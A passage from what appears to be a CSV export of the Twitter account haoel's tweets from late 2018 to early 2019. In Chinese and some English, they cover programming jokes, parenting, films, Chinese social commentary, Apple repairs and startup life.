https://t.co/DUqhO77YKt,,https://twitter.com/haoel/status/1110347266974322688\n4758,1109672197570727936,2019-03-24 04:24:03+00:00,121,19,15,,带孩子学数学，一个矩形格子上，从一个角到另一个角有多少种最短路径？老师教的叫“标数法”。我们程序员叫这种算法：动态归划！ https://t.co/psbzTmja6s,,https://twitter.com/haoel/status/1109672197570727936\n4759,1109301921494425600,2019-03-23 03:52:42+00:00,268,57,31,,有个90后向我推荐电影《波西米亚狂想曲》，我说，我比较意外你们会喜欢我们70后的这些东西，一直以为你们90后喜欢周杰伦。然后我说了些我喜欢的摇滚乐队Bon Jovi，Gun&amp;Rose，Aerosmith，Metallica、Nirvana、AC/DC…，他说，他觉得整个人类文明的光辉就闪烁在 70-80 年代……我瞬间感到没了代沟……,,https://twitter.com/haoel/status/1109301921494425600\n4760,1108167191902322688,2019-03-20 00:43:41+00:00,274,97,17,,今天的C语言和TCP、HTTP和10年前的基本一样，C++和Java虽然有新东西，但实际上没有大变化，关系型数据库、操作系统、编译原理、算法数据结构、编程范式、I/O模型、多线程并发也没太大变化，变化大的从来都是表面形式，内在的原理和本质其实很难创新……,,https://twitter.com/haoel/status/1108167191902322688\n4761,1107852546616360961,2019-03-19 03:53:24+00:00,106,32,5,,【打造高效的工作环境 – Shell 篇】命令行和脚本是程序员提升工作效率是重要的手段，这篇文章除了介绍如何让你的命令行环境更高效，还介绍了一些的比原生的命令和shell更强的工具，可以让你的工作更有效率。  （注：本文由雷俊 @rayjun0412 和我一起编辑成文）https://t.co/EUxGBqm6IQ,\"[TextLink(text='coolshell.cn/articles/19219…', url='https://coolshell.cn/articles/19219.html', tcourl='https://t.co/EUxGBqm6IQ', indices=(135, 158))]\",https://twitter.com/haoel/status/1107852546616360961\n4762,1107169013136683008,2019-03-17 06:37:17+00:00,31,6,9,,差点就买了…… https://t.co/DUtUZ1Fw6A,,https://twitter.com/haoel/status/1107169013136683008\n4763,1106587479677652993,2019-03-15 16:06:29+00:00,0,0,0,,@fanweixiao 计算机专业毕业,,https://twitter.com/haoel/status/1106587479677652993\n4764,1106580697664229376,2019-03-15 15:39:32+00:00,85,28,3,,罗静，从程序员到家庭主妇再到登山家，从2011年起，历史7年，完成个人14座8000米山峰的攀登，中国第一位成功登顶K2（https://t.co/5YcnbilKkW）女性。 ​​​今天有幸听了她的分享，很震撼！要了一段她登山的视频，分享一下…… https://t.co/fRxpKAg2Gc,\"[TextLink(text='en.wikipedia.org/wiki/K2', url='https://en.wikipedia.org/wiki/K2', tcourl='https://t.co/5YcnbilKkW', indices=(61, 84))]\",https://twitter.com/haoel/status/1106580697664229376\n4765,1106387645129609216,2019-03-15 02:52:24+00:00,15,5,2,,Bloomberg BusinessWeek 的这张海报…… The Apology Machine https://t.co/Xqs67aZT2n https://t.co/TxZwDuCpSg,\"[TextLink(text='bloomberg.com/features/2019-…', url='https://www.bloomberg.com/features/2019-facebook-neverending-crisis/', tcourl='https://t.co/Xqs67aZT2n', indices=(51, 74))]\",https://twitter.com/haoel/status/1106387645129609216\n4766,1106232979070685184,2019-03-14 16:37:49+00:00,0,0,1,,@xinzhehe 昨天电脑修回来的，明天就去退电脑（注意，修电脑和买电的是两个不同的苹果店）,,https://twitter.com/haoel/status/1106232979070685184\n4767,1105855512879423488,2019-03-13 15:37:54+00:00,65,4,19,,好多人都说魔术揭秘了就没意思了，为什么我却不是这样的。我看魔术师变魔术时感到毫无乐趣，因为我知道他在“骗”我，被人“骗”的感觉怎么可能有意思呢，看不透的魔术让我感到一种莫名的失落和沮丧，反而，我看到揭秘魔术时，感到很爽很开心，因为一个疑问得到了解答，不开心才怪。大家不是这样的么？,,https://twitter.com/haoel/status/1105855512879423488\n4768,1104325352262778880,2019-03-09 10:17:36+00:00,37,4,1,,主人翁被师父调教，在与师傅对抗反派的过程中，流放到了一个荒凉之地，发现了真正的大师，并通过跟反派合作，了解到了师傅的邪恶，最后跟反派一起对抗正派，其间，身体里的各种能量最终在打通任督二脉后迸发出神力，从而笑傲江湖……哦，我说的不是令狐冲，而是“惊奇队长”……,,https://twitter.com/haoel/status/1104325352262778880\n4769,1103807379219480576,2019-03-07 23:59:21+00:00,85,8,7,,有人问我为什现在这个年代还要学这么小众晦涩的C语言？我说，老子的《道德经》说过：0 生1，1 生 C，C生万物……,,https://twitter.com/haoel/status/1103807379219480576\n4770,1103244744723881984,2019-03-06 10:43:39+00:00,94,46,5,,谁说中国的互联网不开放？我们向全世界开放了全国人民的隐私数据…… https://t.co/4TNha6130r,,https://twitter.com/haoel/status/1103244744723881984\n4771,1103082620793978880,2019-03-05 23:59:25+00:00,4,2,1,,好吧,,https://twitter.com/haoel/status/1103082620793978880\n4772,1102739878217834497,2019-03-05 01:17:29+00:00,1,0,0,,@haohaohao30 是的,,https://twitter.com/haoel/status/1102739878217834497\n4773,1102720560302186496,2019-03-05 00:00:43+00:00,3,0,1,,@binsnote 店里只有高配，三万多……,,https://twitter.com/haoel/status/1102720560302186496\n4774,1102718517839683584,2019-03-04 23:52:36+00:00,88,11,20,,苹果电脑有个按键太灵了，另一个太不灵了，苹果客服说，我的这款电脑有键盘关怀计划，可以免费换（变种的召回？）。到了店后，工作人员告之因为修电脑的太多，需要放在店里排队7到10天，我说能不能排到我了，再送过来，毕竟我还要用来工作，怎么沟通都不行，没办法，只好新买了一台，10天后再退了…,,https://twitter.com/haoel/status/1102718517839683584\n4775,1100762441561006081,2019-02-27 14:19:51+00:00,0,0,1,,@hushuqi @glow1n 这么巧？,,https://twitter.com/haoel/status/1100762441561006081\n4776,1100323390341009408,2019-02-26 09:15:13+00:00,1,0,0,,@avrwx 哈哈，年少无知……,,https://twitter.com/haoel/status/1100323390341009408\n4777,1100305063338221568,2019-02-26 08:02:24+00:00,133,51,13,,酷壳 https://t.co/IuyntCmVpT - 谈谈我的“三观”: 也许是人到了四十多了，敢写这么大的命题，我也醉了，不过，我还是想把我的想法记录下来，算是对我思考的一个snapshot，给未来… https://t.co/FYGAF1wjce,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/XUeBDH', url='https://goo.gl/fb/XUeBDH', tcourl='https://t.co/FYGAF1wjce', indices=(104, 127))]\",https://twitter.com/haoel/status/1100305063338221568\n4778,1098738923008749568,2019-02-22 00:19:07+00:00,11,8,1,,“外国人自愿对福利院的捐助金额，到了2009年已经从3000美元涨到了5000美元。福利院因此有强大的动力通过各种方式——合法的，不合法的——增加可供国际收养的孩子” https://t.co/tf9flaRvgt,\"[TextLink(text='m.kdnet.net/share-12083948…', url='http://m.kdnet.net/share-12083948.html?sform=club&from=groupmessage&isappinstalled=0', tcourl='https://t.co/tf9flaRvgt', indices=(84, 107))]\",https://twitter.com/haoel/status/1098738923008749568\n4779,1096707279083065349,2019-02-16 09:46:05+00:00,2,0,1,,@menduo 换新的没现车，赔钱修车我又不乐意，而我的旧车置换了又拿不回来，4S店借辆车先开着，还是辆100多万的车，开得我小心翼翼地……,,https://twitter.com/haoel/status/1096707279083065349\n4780,1096703849820151808,2019-02-16 09:32:28+00:00,30,1,17,,也是醉了，买个新车，提车的时候，被4S店的小工一个倒车把新车给蹭了了……道路千万条…………车主两行泪……,,https://twitter.com/haoel/status/1096703849820151808\n4781,1094934570623877120,2019-02-11 12:21:59+00:00,0,0,2,,@wiserfirst 初学者，目前在3分钟左右,,https://twitter.com/haoel/status/1094934570623877120\n4782,1094928058857836544,2019-02-11 11:56:06+00:00,0,0,0,,@lorfal 厉害,,https://twitter.com/haoel/status/1094928058857836544\n4783,1094924667486318593,2019-02-11 11:42:38+00:00,17,0,3,,找到个“减压玩具”，一玩玩了一个春节假期……好嗨哟…… https://t.co/zznC1EFM0s,,https://twitter.com/haoel/status/1094924667486318593\n4784,1093143921004138502,2019-02-06 13:46:35+00:00,4,0,2,,@xjtuecho 那你并没真正理解我在说什么,,https://twitter.com/haoel/status/1093143921004138502\n4785,1093092756073762816,2019-02-06 10:23:16+00:00,99,17,14,,我一直挺反感用爱国中国或民族作为宣传的方式，只有产品不行，才会套着这种民族外衣绑架着别人的价值观，只有对自己民族的不自信，才会天天提爱国。好东西自信根本不需要。看了《流浪地球》，感觉最败笔的就是宣传为“中国第一科幻大片”，因为它根本不需要，这就是一部很不错的科幻电影！#流浪地球 https://t.co/gIVRpKa1TV,,https://twitter.com/haoel/status/1093092756073762816\n4786,1092681278791376896,2019-02-05 07:08:12+00:00,0,0,0,,@linsir84 没回,,https://twitter.com/haoel/status/1092681278791376896\n4787,1092679976606851072,2019-02-05 07:03:02+00:00,97,19,8,,🐷年第一天，实在太无聊，刷leetcode去了，花了两个小时刷了最新的四题。这四题都不难，但是条件有一点多，提交了好几次才过。做算法题就像玩密室逃脱一样，找到钥匙后会有莫明的成就感😎。大家的新年第一天干啥了？ https://t.co/aZrOR4EyWW,,https://twitter.com/haoel/status/1092679976606851072\n4788,1092598641997410306,2019-02-05 01:39:50+00:00,3,0,0,,@kevinzhow 同,,https://twitter.com/haoel/status/1092598641997410306\n4789,1092081398599507971,2019-02-03 15:24:29+00:00,0,0,1,,@linuxyz 没有啊，去年这么大的事情，网上找的图,,https://twitter.com/haoel/status/1092081398599507971\n4790,1092003073407381505,2019-02-03 10:13:15+00:00,0,0,1,,@linuxyz 什么意思？,,https://twitter.com/haoel/status/1092003073407381505\n4791,1091968093608235008,2019-02-03 07:54:15+00:00,60,19,10,,春节期间，重温一下去年国内的创业观…… https://t.co/20p7akbWaQ,,https://twitter.com/haoel/status/1091968093608235008\n4792,1090836565176115200,2019-01-31 04:57:58+00:00,110,22,9,,发明了个跟孩子玩的小游戏，画地图，训练娃的逻辑思维和空间能力。我画个地图不给娃看，让娃走，从起点开始，我告诉娃当前位置可以怎么走，娃决定方向后，到达下一点后，我再告诉娃可以怎么走，然后，她要把整个地图画出来……（地图中有环，难度会大些）娃还怪喜欢玩的。 https://t.co/OxeLD7AvQf,,https://twitter.com/haoel/status/1090836565176115200\n4793,1088743043946049536,2019-01-25 10:19:04+00:00,20,0,1,,\"The Friday Traffic — The East 4th Ring Road, Beijing https://t.co/kTD3NmjTNw\",,https://twitter.com/haoel/status/1088743043946049536\n4794,1088321502045384704,2019-01-24 06:24:00+00:00,0,0,1,,@yanzzchn 台北那张用instagram 处理过，其它的都是原始iPhoneX的。PS，上传到Instagram 时，尺寸被裁剪过。,,https://twitter.com/haoel/status/1088321502045384704\n4795,1088306750497873920,2019-01-24 05:25:23+00:00,108,10,7,,过去一年去过好多城市，随手拍照片，最满意的是这三张。第一张是梅雨季节的上海，和朋友吃完晚饭出来一抬头，魔幻范儿十足，让我啧啧称奇。第二张是夏季的台北，101大厦旁边，巨大的广告牌的文案让我浮想翩翩。第三张是冬季的北京，站在朝阳路天桥上，日夜正在交替的瞬间，让我感到了许些暖意…… https://t.co/E2LAj39fZq,,https://twitter.com/haoel/status/1088306750497873920\n4796,1088075097535967232,2019-01-23 14:04:53+00:00,17,5,0,,BUILD A GREAT FIREWALL &amp; PEOPLE WILL FALL!,,https://twitter.com/haoel/status/1088075097535967232\n4797,1087258124111605760,2019-01-21 07:58:31+00:00,93,23,10,,这两天吴秀波跟陈昱霖的新闻沸沸扬扬，这两天爆出陈昱霖平时就在炫耀各种奢侈品，技术圈的朋友们也在讨论，然而，有些“麻瓜”说你们这些码农天天双肩背包格子衬衫牛仔裤，根本不懂奢侈品一事！我说，只是没人包养我们，不然，哥也天天晒下面这些数码产品…… https://t.co/PinBDpBaHh,,https://twitter.com/haoel/status/1087258124111605760\n4798,1086850700326236160,2019-01-20 04:59:34+00:00,28,14,0,,https://t.co/lt7FCCTdiX    #10YearChallenge https://t.co/iAqGBOn0iU,\"[TextLink(text='google.cn', url='http://google.cn', tcourl='https://t.co/lt7FCCTdiX', indices=(0, 23))]\",https://twitter.com/haoel/status/1086850700326236160\n4799,1086798975733161984,2019-01-20 01:34:02+00:00,17,5,1,,分享衣湿乐队的单曲《祖传程序员》https://t.co/QszeXQ91dz,\"[TextLink(text='music.163.com/song/472716426/', url='http://music.163.com/song/472716426/', tcourl='https://t.co/QszeXQ91dz', indices=(16, 39))]\",https://twitter.com/haoel/status/1086798975733161984\n4800,1085845271634894849,2019-01-17 10:24:21+00:00,21,4,1,,说的不错！等这些95后活到30来岁的时候就知道70年产权的bug长啥样了……,,https://twitter.com/haoel/status/1085845271634894849\n4801,1084057973092052992,2019-01-12 12:02:16+00:00,107,33,6,,当一个事困难或是复杂到一定程度时，一般会出现四种人：1）找各种借口理由逃避放弃，2）得过且过敷衍应付，3）咬牙努力使蛮力，4）思考总结找方法……,,https://twitter.com/haoel/status/1084057973092052992\n4802,1081412276010110977,2019-01-05 04:49:12+00:00,84,11,27,,昨天回老家，看到家的单元门口有一叠各户的电费欠费单，然后拿下502室的扫码交了费，截图传给父亲，说，家里的电费我已交了。不一会，父亲回过电话说：“我们家是501啊……”😢,,https://twitter.com/haoel/status/1081412276010110977\n4803,1081026839420665863,2019-01-04 03:17:37+00:00,62,44,12,,祖国越来越强大了……https://t.co/Fcwg131M9j（PS：关于这个域名，参考https://t.co/zUR0vmLs9C） https://t.co/KaB8kKyuR3,\"[TextLink(text='gdgafz.alldayfilm.com/bookDetail.htm…', url='http://www.gdgafz.alldayfilm.com/bookDetail.html?type=1&id=1134323', tcourl='https://t.co/Fcwg131M9j', indices=(10, 33)), TextLink(text='baoan.gov.cn/xxgk/zt/msss/x…', url='http://www.baoan.gov.cn/xxgk/zt/msss/xzzfxxgs/shgk/wsgk/201809/t20180930_14182127.htm', tcourl='https://t.co/zUR0vmLs9C', indices=(46, 69))]\",https://twitter.com/haoel/status/1081026839420665863\n4804,1080858159768457216,2019-01-03 16:07:21+00:00,21,4,1,,新年伊始，都是程序员们忙于更新Copyright 年份的时候……https://t.co/EWdCOxNrLR https://t.co/OehmGXriSO,\"[TextLink(text='github.com/search?&q=upda…', url='https://github.com/search?&q=update+copyright+2019&type=Commits', tcourl='https://t.co/EWdCOxNrLR', indices=(32, 55))]\",https://twitter.com/haoel/status/1080858159768457216\n4805,1080623428791484416,2019-01-03 00:34:37+00:00,153,46,11,,焦虑是对未来的担心，恐惧是对当前的害怕。人的焦虑是来源于自己对自己有更高的定位，来自对未来的不安全感。其实，适当的焦虑感是我们进步努力的源动力，但是大多数人的问题在于几点，一是目标订的太高，二是不知道怎么去，三是知道怎么去但又不想付出太多……所以，人就开始更加迷茫更加焦虑了……,,https://twitter.com/haoel/status/1080623428791484416\n4806,1079717559220396032,2018-12-31 12:35:00+00:00,174,45,3,,\"Wish everyone in 2019:\n\n&lt;strong&gt;body&lt;/strong&gt;\nJobLevel++;\nimport Girlfriend;\ndouble Money;\nconst bool Happniess=true;\n(Study) =&gt; (Study(Study));\nopen(eyes, O_WORLD);\nexit(S_TROUBLES);\nssh success@excited.area\ntry {Adventure} catch(Mistakes) {Skills.Get();}\n/etc\",,https://twitter.com/haoel/status/1079717559220396032\n4807,1079199996530941953,2018-12-30 02:18:24+00:00,7,2,0,,虽然没有想像中的那么自动化，但是成车速度似乎已经很快了。,,https://twitter.com/haoel/status/1079199996530941953\n4808,1078947497911840769,2018-12-29 09:35:04+00:00,41,1,6,,“记得生日”和“记得生日当天送祝福”是两码事……我记得好些人的生日，但是一旦到了生日那一天就完全忘记了。最糟的在解释的时候说，“我一直记得你的生日的，只是你生日那天我忘记了”……这样的解释说出来，自己都想给自己一嘴巴……🥺😢😭,,https://twitter.com/haoel/status/1078947497911840769\n4809,1077922188307525632,2018-12-26 13:40:51+00:00,1,0,1,,@Mage991 你怎么有我的微信？,,https://twitter.com/haoel/status/1077922188307525632\n4810,1077863720271794177,2018-12-26 09:48:31+00:00,2,0,0,,@kevinpann 分组功能不是不会用，是太麻烦，对人分组太麻烦了,,https://twitter.com/haoel/status/1077863720271794177\n4811,1077847758617202688,2018-12-26 08:45:05+00:00,148,26,46,,我的微信通讯录中，有我的父母和上一辈的亲戚，有我同学朋友，有以前的领导同事，有学校的老师和家长，有程序员网友，有生意往来的客户，还有圈内的一些大佬，有自己的员工，有投资人，有左派右派…三教九流，什么人都有，在这种环境下，朋友圈已经不知道能发什么了……这是所谓的“社交压力”吧……,,https://twitter.com/haoel/status/1077847758617202688\n4812,1077523971682164737,2018-12-25 11:18:28+00:00,41,4,3,,两年前糙快猛的一个小网页，今天更新了下…… 嘿嘿嘿 https://t.co/VwWbxhWJUn 顺祝大家圣诞快乐🎄！ https://t.co/xpFSi5XzzU,\"[TextLink(text='coolshell.cn/christmas/', url='https://coolshell.cn/christmas/', tcourl='https://t.co/VwWbxhWJUn', indices=(26, 49))]\",https://twitter.com/haoel/status/1077523971682164737\n4813,1076331689696096256,2018-12-22 04:20:46+00:00,22,15,1,,评论区好欢乐……,,https://twitter.com/haoel/status/1076331689696096256\n4814,1076137253989019648,2018-12-21 15:28:09+00:00,104,34,15,,也不知道谁一开始鼓吹的在物理机上跑Docker，于是有些公司在一些配置巨高的服务器上跑k8s，一台机器可以启几百个pod，于是构造出了一个【分布式微服务单体架构】,,https://twitter.com/haoel/status/1076137253989019648\n4815,1073479320062947328,2018-12-14 07:26:28+00:00,262,86,9,,今天我去见女朋友的父母，她父亲是微软的Principal工程师，我和他在闲聊时，他问起我的工作，知道我也是个程序员，然后他开始问我一道算法题，问的相当的自然就像闲聊一样，还好我做了一年的算法题训练，没有难倒我，她父亲也很满意，还说过几天来看我们！请问，我接下来要准备一下系统设计吗？ https://t.co/CXEpWCaWyW,,https://twitter.com/haoel/status/1073479320062947328\n4816,1072351049476947969,2018-12-11 04:43:08+00:00,155,64,20,,社会主义程序员核心价值观：1）坚定地坚持996乃至无限时的工作制，2）坚决地拥护产品经理的一切决定，3）高举大杂烩功能且不断试错的伟大旗帜，4）深入贯彻落实KPl和人肉运维科学发展观，5）勇于用自己的技术主动承担公司公众问题的无限责任，6）积极推动给后人不断挖大坑的最佳实践……（大家继续）,,https://twitter.com/haoel/status/1072351049476947969\n4817,1072106419690725378,2018-12-10 12:31:03+00:00,529,102,27,,创业这两年，让我感觉到，这世上根本没有靠谱的事，不靠谱是常态，而只有创业者通过自己的努力、智慧、才能、耐心、方法、付出……才能把不靠谱变成靠谱……这两年的锻练让我内心强大不少，再不觉得事情会有多难，会有多不靠谱……放眼望去全是机会……这真不是打工能打来……,,https://twitter.com/haoel/status/1072106419690725378\n4818,1071936554518503425,2018-12-10 01:16:04+00:00,4,0,0,,@Fenng 这个人在我在在amazon的时候就不断diss我了，那时他也在amazon。然而，明显我和他也没有利益关系……,,https://twitter.com/haoel/status/1071936554518503425\n4819,1070821134755491845,2018-12-06 23:23:48+00:00,1,0,4,,@mwenyuan 这理由还不能成为监控的理由,,https://twitter.com/haoel/status/1070821134755491845\n4820,1070487266294824960,2018-12-06 01:17:07+00:00,17,8,2,,新四大发明之一……,,https://twitter.com/haoel/status/1070487266294824960\n4821,1068078530104197120,2018-11-29 09:45:40+00:00,107,27,15,,我也就用一下sudo，搞的跟超级英雄似的…… https://t.co/0EodesCVzK,,https://twitter.com/haoel/status/1068078530104197120\n4822,1067615562904166400,2018-11-28 03:06:00+00:00,7,0,2,,@derrick_188 基因是hard code，写好了改不了，洗脑是configuration ，可以随时改成符合当前需求的……,,https://twitter.com/haoel/status/1067615562904166400\n4823,1067609606518538240,2018-11-28 02:42:20+00:00,4,0,1,,@derrick_188 基因编排的危害我还没看到，但是二战、极端宗教，文革……我是看到了,,https://twitter.com/haoel/status/1067609606518538240\n4824,1067595423932571648,2018-11-28 01:45:58+00:00,65,27,14,,近日，首例“基因编排”孩子的新闻，引得全网文诛笔伐，引发大众对未来的担扰。然而，相比起来，那些成百万上千万的被“思想编排”过的下一代，不是更应让人担忧么……,,https://twitter.com/haoel/status/1067595423932571648\n4825,1067040410235625472,2018-11-26 13:00:33+00:00,16,7,2,,前两天在飞机上刚看了《千钧一发》（豆瓣评分：8.7），今天就看到抗艾滋病的基因编辑的新闻。那就顺手推荐一下1997年的这部电影！https://t.co/t4vUqzM0L7 https://t.co/aoM6XXWiaA,\"[TextLink(text='douban.com/doubanapp/disp…', url='https://www.douban.com/doubanapp/dispatch?uri=/movie/1300117/&dt_dapp=1', tcourl='https://t.co/t4vUqzM0L7', indices=(64, 87))]\",https://twitter.com/haoel/status/1067040410235625472\n4826,1066920951923625985,2018-11-26 05:05:52+00:00,44,15,7,,北京，十天前 vs 今天，雾化滤镜，纯天然！ https://t.co/VTbaigZY4f,,https://twitter.com/haoel/status/1066920951923625985\n4827,1064831694807560193,2018-11-20 10:43:54+00:00,321,111,34,,成都机场安检通道，单核多线程，伪并发。怪不得叫“双流”……😜 https://t.co/6UzjgDxlN2,,https://twitter.com/haoel/status/1064831694807560193\n4828,1063694338058682368,2018-11-17 07:24:27+00:00,14,6,3,,This search could cause Google server 500 error... https://t.co/yqB2ZduChA,\"[TextLink(text='google.com/search?q=-XX:I…', url='https://www.google.com/search?q=-XX:InitialHeapSize&safe=active&prmd=insv&source=lnms&tbm=isch&sa=X&ved=0ahUKEwjx8_KQxqPdAhVCfd4KHQVJAhQQ_AUIESgB&biw=393&bih=706&dpr=2.75', tcourl='https://t.co/yqB2ZduChA', indices=(51, 74))]\",https://twitter.com/haoel/status/1063694338058682368\n4829,1062622995414306816,2018-11-14 08:27:19+00:00,55,13,3,,发现一个人际关系的解决方案。有些时候，在公司，家里，或是聚会，总会产生一些面红耳赤的争论和摩擦，或是气氛非常尴尬的情况……这个时候，只要一放起这首歌，一切的问题引刃而解，毎个人都会有发自内心的笑容，忍都忍不住！大强大了，屡试不爽！ ​​​https://t.co/KIfhl3LbF7,\"[TextLink(text='music.163.com/song/31814005/', url='http://music.163.com/song/31814005/', tcourl='https://t.co/KIfhl3LbF7', indices=(119, 142))]\",https://twitter.com/haoel/status/1062622995414306816\n4830,1061954528491139072,2018-11-12 12:11:04+00:00,1,0,0,,@QIANYU17 https://t.co/3S3HUQSwfq,\"[TextLink(text='github.com/haoel/imgfetch', url='https://github.com/haoel/imgfetch', tcourl='https://t.co/3S3HUQSwfq', indices=(10, 33))]\",https://twitter.com/haoel/status/1061954528491139072\n4831,1061269916190355460,2018-11-10 14:50:40+00:00,45,6,6,,为了培养一下孩子的编程兴趣，编个图片处理的程序，孩子没兴趣，结果我来劲了……以后，电脑登录，都会有王思聪欢迎，相信机器性能和稳定性都会好很多…… https://t.co/2peRaBen8Z,,https://twitter.com/haoel/status/1061269916190355460\n4832,1060917400852299777,2018-11-09 15:29:53+00:00,79,29,12,,除了身份证，还要户口本，暂住证，工作居住证，居住证；除了护照，还要港澳通行证，台湾通行证，边境通行证；除了结婚证，还要准生证。还有毕业证，学位证，社保卡，医疗本，驾照 ⋯若干年前，满大街的办证广告和涂鸦，若干年后，才发现我天朝才是最大的办证团伙，人的一生基本上都是在办证…,,https://twitter.com/haoel/status/1060917400852299777\n4833,1060699334210084864,2018-11-09 01:03:22+00:00,66,15,14,,看看12306新改版的网页版和手机端，某些互联网大厂是不是应该感到羞愧了…… https://t.co/AiepC4Y8OY,,https://twitter.com/haoel/status/1060699334210084864\n4834,1060509675773353984,2018-11-08 12:29:44+00:00,42,0,1,,@maxhis 从1.001开始,,https://twitter.com/haoel/status/1060509675773353984\n4835,1060506229192048641,2018-11-08 12:16:02+00:00,322,109,58,,程序员设计的版本号，一般会从1.0开始，然后，1.1、1.2、1.3……1.9，接下来的版本号会是1.10、1.11、1.12……于是有一天，在你的面前放着1.1和1.10这两个版本时，你会有这两个版本是一样的错觉，而当1.11和1.2在一起时，你会觉得1.2是更为新的版本……,,https://twitter.com/haoel/status/1060506229192048641\n4836,1060156547978878976,2018-11-07 13:06:32+00:00,144,39,24,,总是有好多人微博或留言或私信问我怎么fan墙，怎么把苹果手机切成美区，怎么学好英文……怎么说呢，我觉的首要的问题不是技术问题，而是一种义无反顾的信仰……你看看“帝吧出征”，看看刷苹果美区iTunes排行榜，你就知道，只要有了这种信仰，你自然就能拥有这些技能……,,https://twitter.com/haoel/status/1060156547978878976\n4837,1058931583967608832,2018-11-04 03:58:58+00:00,1,0,0,,@nardoge @kevinzhow XBox one,,https://twitter.com/haoel/status/1058931583967608832\n4838,1058567281142202368,2018-11-03 03:51:21+00:00,0,0,2,,@kevinzhow 为什么不是荒野大镖客2？,,https://twitter.com/haoel/status/1058567281142202368\n4839,1057535043617337345,2018-10-31 07:29:37+00:00,0,0,2,,@tualatrix 你的真好，我的只有88%了,,https://twitter.com/haoel/status/1057535043617337345\n4840,1057424140540342273,2018-10-31 00:08:55+00:00,53,22,3,,https://t.co/qya5zyUbaI,,https://twitter.com/haoel/status/1057424140540342273\n4841,1057154095360835584,2018-10-30 06:15:51+00:00,71,37,1,,\"O(n)排序，删除不顺序的元素\nO(1)排序，删除不同意的人\nO(0)排序，洗脑每个人都是平等的 https://t.co/Rs3g3933Gc\",,https://twitter.com/haoel/status/1057154095360835584\n4842,1057090497745870848,2018-10-30 02:03:09+00:00,0,0,0,,没事，有无限屏,,https://twitter.com/haoel/status/1057090497745870848\n4843,1057088910868672512,2018-10-30 01:56:50+00:00,52,11,3,,最酷的代码缩进不是四个空格还是一个tab，而是“斐波拉契缩进”，这个vim插件可以让你轻松拥有 https://t.co/ZXY5nVx11j,\"[TextLink(text='github.com/dodie/vim-fibo…', url='https://github.com/dodie/vim-fibo-indent/', tcourl='https://t.co/ZXY5nVx11j', indices=(48, 71))]\",https://twitter.com/haoel/status/1057088910868672512\n4844,1056155608959791104,2018-10-27 12:08:14+00:00,0,0,0,,@AgentNEO_ss 古墓丽影早通关了，感觉没前两部好,,https://twitter.com/haoel/status/1056155608959791104\n4845,1056113920396554244,2018-10-27 09:22:34+00:00,41,5,6,,我居然花了几十分钟看了pony ma的《未来十年哪些基础科学突破会影响互联网科技产业？……》这个问题下面的几百个答案……这些答案让我感到他们回答这个问题时的吐沫星子透过手机屏幕飞溅到我的脸上，脸都全溅湿了……感到地球的未来就在他们手中……,,https://twitter.com/haoel/status/1056113920396554244\n4846,1055479361908830208,2018-10-25 15:21:04+00:00,2,0,0,,@kevinzhow 这是为了方便偷窥么？,,https://twitter.com/haoel/status/1055479361908830208\n4847,1054916524295708672,2018-10-24 02:04:33+00:00,25,9,0,,\"Searching, Great Movie! A father try to find his daughter...  He used Google, Facebook, Instagram, Venmo... everything on internet, but forgot the “Find My iPhone”... https://t.co/EV9e5tvQ9H\",,https://twitter.com/haoel/status/1054916524295708672\n4848,1054689787095932928,2018-10-23 11:03:35+00:00,27,9,2,,https://t.co/3FYGiOnoSU,,https://twitter.com/haoel/status/1054689787095932928\n4849,1053903601309863936,2018-10-21 06:59:33+00:00,34,4,0,,评论区也很精彩……,,https://twitter.com/haoel/status/1053903601309863936\n4850,1051756364224061440,2018-10-15 08:47:12+00:00,26,2,5,,最终，扫码找厕所还是比社会主义核心价值观更重要要…… https://t.co/ZIsM16fpdK,,https://twitter.com/haoel/status/1051756364224061440\n4851,1048563337594687490,2018-10-06 13:19:15+00:00,0,0,1,,@fswordlee 你还能看出来我仇富，呵呵,,https://twitter.com/haoel/status/1048563337594687490\n4852,1048422352675995648,2018-10-06 03:59:02+00:00,135,40,6,,\"平庸的人患得患失犹豫不决\n愚蠢的人投机赌博听天由命\n聪明的人学习成长投资未来\n有钱的人放纵人性收割韮菜\",,https://twitter.com/haoel/status/1048422352675995648\n4853,1047405500805988352,2018-10-03 08:38:25+00:00,5,0,1,,@acgtyrant 看不起人呢……,,https://twitter.com/haoel/status/1047405500805988352\n4854,1047402353584824320,2018-10-03 08:25:55+00:00,39,6,11,,前两天因捣数据，才说香港的位置很重要。今天，我在Xbox美区上想买个《古墓丽影：暗影》，用Paypal和Visa信用卡怎么下单都失败，找来美国微软客服，说我的物理地区和账号支付地区不符，所以无法下单，他们也无解…正当我准备放弃时，想到了香港，结果还支持支付宝，电脑下单一成功，Xbox立马开下… https://t.co/9iFVryzmFr,,https://twitter.com/haoel/status/1047402353584824320\n4855,1046966041170124802,2018-10-02 03:32:10+00:00,40,10,5,,不知为什么，博客在国外的服务提供商到国内的带宽变得其慢无比，只好把服务往国内迁移，发现只有50kBps的传输速度，这种速度搞一天都搞不玩，于是就从香港走，两边都是600KBps的速度。你看，出境、商品、贸易、好多事都要从香港绕，现在数据拷贝也要从香港绕，可见东方之珠的重要地位……,,https://twitter.com/haoel/status/1046966041170124802\n4856,1046279428077117440,2018-09-30 06:03:49+00:00,0,0,2,,@zhangchunlin @_5301390617043 仅联系人,,https://twitter.com/haoel/status/1046279428077117440\n4857,1046264010197229574,2018-09-30 05:02:33+00:00,64,22,11,,现在有种社交叫“AirDrop社交”，打开你的照片，点分享，然后看周围谁的AirDrop开着，然后把照片发过去… 。在地铁飞机旅游景点等，用iPhone的面部识别录个视频整几个表情包发着玩玩，也有点乐趣。没有服务器，不过运营商网络，不被监控，没有审查，如果把大家的手机可以做中继……这蓝牙网络无敌了……,,https://twitter.com/haoel/status/1046264010197229574\n4858,1046263430187905027,2018-09-30 05:00:15+00:00,0,0,0,,@haitaoyao @jamesxujoy 还原设置解决一切问题,,https://twitter.com/haoel/status/1046263430187905027\n4859,1046236569869283328,2018-09-30 03:13:31+00:00,61,15,12,,来看看Apple设备间无缝操作之Continuity Camera（原谅我业余的录视频能力）所以说，苹果不会宣传，要不然么，这种功能一定会安排个全球直播，天天发微博说要重新定义XXX…… https://t.co/XpemT0Ajb5,,https://twitter.com/haoel/status/1046236569869283328\n4860,1046172892210192385,2018-09-29 23:00:29+00:00,129,39,2,,一组让我莫名喜欢的图片。来自Filip Hodas，一位捷克拥有非凡才华的3D艺术家。近来由他创作的超现实3D 